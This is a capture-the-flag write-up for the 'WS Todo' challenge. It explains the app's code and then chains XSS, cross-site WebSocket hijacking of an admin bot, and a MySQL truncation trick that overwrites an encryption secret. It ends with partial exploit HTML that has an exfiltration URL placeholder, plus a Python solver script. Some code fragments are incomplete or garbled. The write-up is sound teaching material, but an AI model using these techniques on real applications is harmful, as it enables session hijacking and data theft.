WS Todo
WS Todo
Difficulty: Medium
Classification: Official
Synopsis
The challenge involves performing websocket hijacking and chaining it with SQL truncation attack
on JSON data to overwrite a key-value pair.
Skills Required
Basic understanding of SQL injection
Understanding of XSS
Skills Learned
SQL Truncation Attack
WebSocket Hijacking
Solution
Todo Application Review
Visiting the application displays the following authentication page:
After registering and logging in, it displays the following tasks page, which takes two inputs from
the user:
task title
task description:
We can add tasks and tick the finished tasks; that's the functionality of this to-do web application.
This application takes one input; if we provide it with HTML, it will render it, for example, passing
<h1>. This is my input</h1> renders our heading on the page, which also means this is
vulnerable to XXS:
That's all the functionality the second application has.
Let's begin by looking at the routes/index.js to understand the basic functionality this
application has:
if (!username || !password) {
return res.status(400).json({
error: 'Missing username or password'
});
}
if (password.length < 8) {
return res.status(400).json({
error: 'Password must be at least 8 characters long'
});
}
if (await db.userExists(username)) {
return res.status(400).json({ error: 'User already exists' });
} else {
const secret = crypto.randomBytes(16).toString('hex');
await db.registerUser(username, password, secret);
return res.status(200).json({ success: 'User registered' });
}
The register route takes the username and password from the user and checks the following
things:
The /secret endpoint passes the current userId to the getSecret function, which returns the
16-character long hexadecimal secret value created during the registration and returns the secret
to the user.
if (!req.body.cipher) {
return res.status(400).json({ error: 'Missing cipher' });
}
try {
const result = decrypt(req.body.cipher, req.body.secret);
return res.status(200).json({ decrypted: result });
} catch (e) {
return res.status(400).json({ error: 'Invalid key or cipher' });
}
});
The /decrypt endpoint takes the secret and cipher from the user, decrypts it, and returns the
decrypted data to the user.
try {
await page.goto(url, { waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
try {
console.log(`[*] Visiting ${url}`)
await visit(url)
console.log(`[*] Done visiting ${url}`)
return res.sendStatus(200)
} catch (e) {
console.error(`[-] Error visiting ${url}: ${e.message}`)
return res.status(400).send({ error: e.message })
}
}
... SNIP ...
The doReportHandler function fires up a puppeteer chrome bot and login into the todo
application as admin, and then it visits the URL provided by the user if the URL starts with either
http:// or https:// .
That's almost all the routes defined, but we still do not know how the application adds tasks.
Looking at index.js reveals that the application is using authenticationMiddleware ,
antiCSRFMiddleware , and WebSocket .
app.use(authenticationMiddleware);
app.use(antiCSRFMiddleware);
app.use(routes(db, sessionParser));
app.ws('/ws', wsHandler(db, sessionParser));
Authentication Middleware
if (req.session.userId) {
return next();
}
return res.redirect('/login');
}
module.exports = authenticationMiddleware;
Let's break down the code, and this is the flow of this middleware.
1. URL Check:
The middleware checks if the requested URL is either /login or /register using the
req.originalUrl property.
If the URL is /login or /register , the middleware allows the request to proceed to
the next middleware or route handler by calling next().
2. Session Check:
If the URL differs from /login and /register , the middleware checks if there is a
userId property in the session (req.session.userId).
If a userId is present in the session, the middleware allows the request to proceed by
calling next() .
3. Redirect or Block:
If the URL is not /login or /register and there is no userId in the session, the
middleware redirects the user to the /login page using res.redirect('/login') .
This prevents unauthenticated users from accessing specific routes.
Every HTTP request ensures that specific routes (/login and /register) are accessible without
authentication. For other routes, it checks if the user is authenticated based on the presence of a
userId in the session. If not authenticated, it redirects the user to the /login page.
AntiCSRF Middleware
Moving on to antiCSRFMiddleware
const antiCSRFMiddleware = (req, res, next) => {
const referer = (req.headers.referer? new URL(req.headers.referer).host :
req.headers.host);
const origin = (req.headers.origin? new URL(req.headers.origin).host :
null);
module.exports = antiCSRFMiddleware;
1. Middleware Function:
The code defines a middleware function named antiCSRFMiddleware that takes three
parameters: req (request), res (response), and next (callback function to pass control to
the next middleware in the stack).
It extracts the referer and origin values from the request headers.
If the referer header is present, it extracts the host from the URL; otherwise, it uses the
host header directly.
If the origin header is present, it extracts the host from the URL; otherwise, it sets the
origin to null.
3. CSRF Check:
It checks if the host from the request headers matches either the origin or the referer.
This check ensures that the request originates from the same host or origin that served
the page.
If the check passes, the middleware allows the request to proceed to the next
middleware or route handler by calling next().
If the check fails, it returns a 403 Forbidden status with a JSON response containing an
error message indicating that CSRF (Cross-Site Request Forgery) has been detected.
An important thing to note here is that the antiCSRFMiddleware is only applied to regular
HTTP requests and not WebSocket upgrade requests.
Websockets
The static/index.js is the client-side code that handles web sockets; let's break down the
WebSocket code.
ws.onopen = () => {
ws.send(JSON.stringify({ action: 'get' }));
}
The above code establishes a WebSocket connection (ws) and sends a JSON message with the
action 'get' to the server when the connection opens.
ws.onmessage = async (msg) => {
const data = JSON.parse(msg.data);
if (data.success) {
if (data.action === 'get') {
const secret = await fetch('/secret').then(res =>
res.json()).then(data => data.secret);
for (const task of data.tasks) {
showTask({
title: {
iv: task.title.iv,
content: await decrypt(task.title, secret)
},
description: {
iv: task.description.iv,
content: await decrypt(task.description, secret)
},
quote: {
iv: task.quote.iv,
content: await decrypt(task.quote, secret)
}
});
}
}
else if (data.action === 'add') {
taskForm.reset();
}
}
else {
Swal.fire({
icon: 'error',
title: 'Oops...',
text: data.error
});
}
}
This code sets up an event handler for when a message is received on the WebSocket
(WS).
2. Message Processing:
It parses the received message (msg) as JSON, creating an object called data.
3. Success Check:
4. Action Handling:
If successful, it further checks the action type specified in the data (data.action).
If the action is 'get,' it fetches a secret from '/secret' on the server and decrypts and
displays tasks using the secret.
If the received data indicates an error, it shows an error message using a Swal library
(SweetAlert).
Let's move on to the server-side code for the WebSockets, which is defined in wsHandler.js
The WebSocket handler obtains the user's session ID during the WebSocket upgrade request
through the session cookies.
let quote;
if (userId === 1) {
quote = `A wise man once said, "the flag is
${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() *
quotes.length)];
}
try {
const task = JSON.parse(result.data);
tasks.push({
title: encrypt(task.title, task.secret),
description: encrypt(task.description,
task.secret),
quote: encrypt(quote, task.secret)
});
} catch (e) {
console.log(`Error parsing task ${result.data}: ${e}`);
}
}
ws.send(JSON.stringify({ success: true, action: 'get', tasks:
tasks }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'get' }));
}
}
else {
ws.send(JSON.stringify({ success: false, error: 'Invalid action'
}));
}
});
The code creates an event handler for the 'message' event on the WebSocket (WS).
2. Message Processing:
It parses the received message (msg) as JSON, creating an object called data.
3. Secret Retrieval:
4. Action Handling:
If the action is 'add,' it tries to add a task to the database (db.addTask) with the
provided title, description, and secret. It then sends a success or failure message
back to the client.
For other users (when userId is not equal to 1), it generates a random quote
from the quotes array for each task.
It retrieves tasks from the database (db.getTasks) associated with the user and
processes each task. It encrypts the task details (title, description, and quote) using
the task's secret for each task. The encrypted tasks are then sent back to the client.
5. Error Handling:
If errors occur during the 'add' or 'get' actions, it sends a failure message back to the
client.
If the received action is neither 'add' nor 'get,' it sends an error message to the client
indicating an invalid action.
Websockets Hijacking
Now we understand the application. The question is how we can get the flag. First, we will need an
admin session because the WebSocket logic defined in wsHandler.js has the following condition,
which returns a quote with the user's tasks.
if (userId === 1) {
quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() * quotes.length)];
}
The challenge provides an HTML Tester Application vulnerable to XSS, and a report functionality
opens the URL supplied to the /report endpoint in a Chrome browser after logging in to the todo
application to simulate admin opening a link.
The HTML Tester Application is running on port 8080 , and the Todo application is running on
port 80 ; for the browser, these two sites are the Same Site but cross-origin, which means any
request going from the HTML Tester Application to the Todo application , the browser will
automatically send the cookies, and the antiCSRFMiddleware do not work on Protocol Upgrade
Request.
This means we can hijack the websockets of the admin user, add new tasks, and get tasks from the
admin user.
But we still cannot read the tasks, as the application encrypts the task with a random secret and
stores it in a database for each task.
SQL Truncation Attack
Looking over the task add functionality again, we see something interesting.
The application directly adds our input title , description , and secret into JSON data
inserted into the database. If we can somehow overwrite the secret to encrypt the contents, we
can decrypt the admin's quite easily since the quote is added to all the tasks the admin might
have.
In the MySQL documentation, we can see that when processing CHAR or VARCHAR data, strict SQL
mode is essential.
If strict SQL mode is not enabled and you assign a value to a CHAR or VARCHAR
column that exceeds the column's maximum length, the value is truncated to fit
and a warning is generated. For truncation of nonspace characters, you can
cause an error to occur (rather than a warning) and suppress insertion of the
value by using strict SQL mode. See Section 5.1.11, "Server SQL Modes".
Looking at config/supervisord.conf , the list of SQL modes does not contain the strict SQL
mode. Therefore, CHAR or VARCHAR data that exceeds the column's maximum length will be
silently truncated, and no error is thrown.
[program:mysql]
# Set MySQL modes: https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html
command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/sbin/mysqld --sql-
mode="NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTIT
UTION"
autorestart=true
{"title":"x","description":"x","secret":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","x":
"x ... (until 255 bytes) ... x"}
The application will try to run the following SQL insert query:
INSERT INTO todos (user_id, data) VALUES (1, "
{\"title\":\"x\",\"description\":\"x\",\"secret\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa\",\"x\":\"x ... (until 255 bytes) ... x\"}\", \"secret\":\"...16
character long hexadecimal ...\"}");
The SQL server will strip the characters after 255 bytes \", \"secret\":\"...16 characters
long hexadecimal ...\"} and when this data is retrieved, our custom secret is used (in this case
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ). This allows us to decrypt the data and get the flag easily.
Exploit
We can build the following exploit
exploit.html
<html>
<body>
<script>
const HOST = "127.0.0.1";
const SECRET = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxa";
const EXFIL_URL = "EXFIL_URL_HERE";
ws.onopen = () => {
let curr =
`{"title":"${title}","description":"","secret":"${SECRET}","x":""}`;
let pad = 'x'.repeat(255 - curr.length);
payload = `","secret":"${SECRET}","x":"${pad}"}`;
ws.send(JSON.stringify({
"action": "add",
"title": title,
"description": payload
}));
ws.send(JSON.stringify({
"action": "get"
}));zz
};
</script>
</body>
</html>
solver.py
import requests
import urllib.parse
BASE_URL = "http://127.0.0.1"
XSS_URL = "http://127.0.0.1:8080"
s = requests.Session()
with open("exploit.html") as f:
exploit = f.read()
r = s.post(f"{BASE_URL}/decrypt", json={
"cipher": {
"iv": iv,
"content": cipher
}, "secret": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
})
decrypted = r.json().get("decrypted")
print(f"Decrypted: {decrypted}")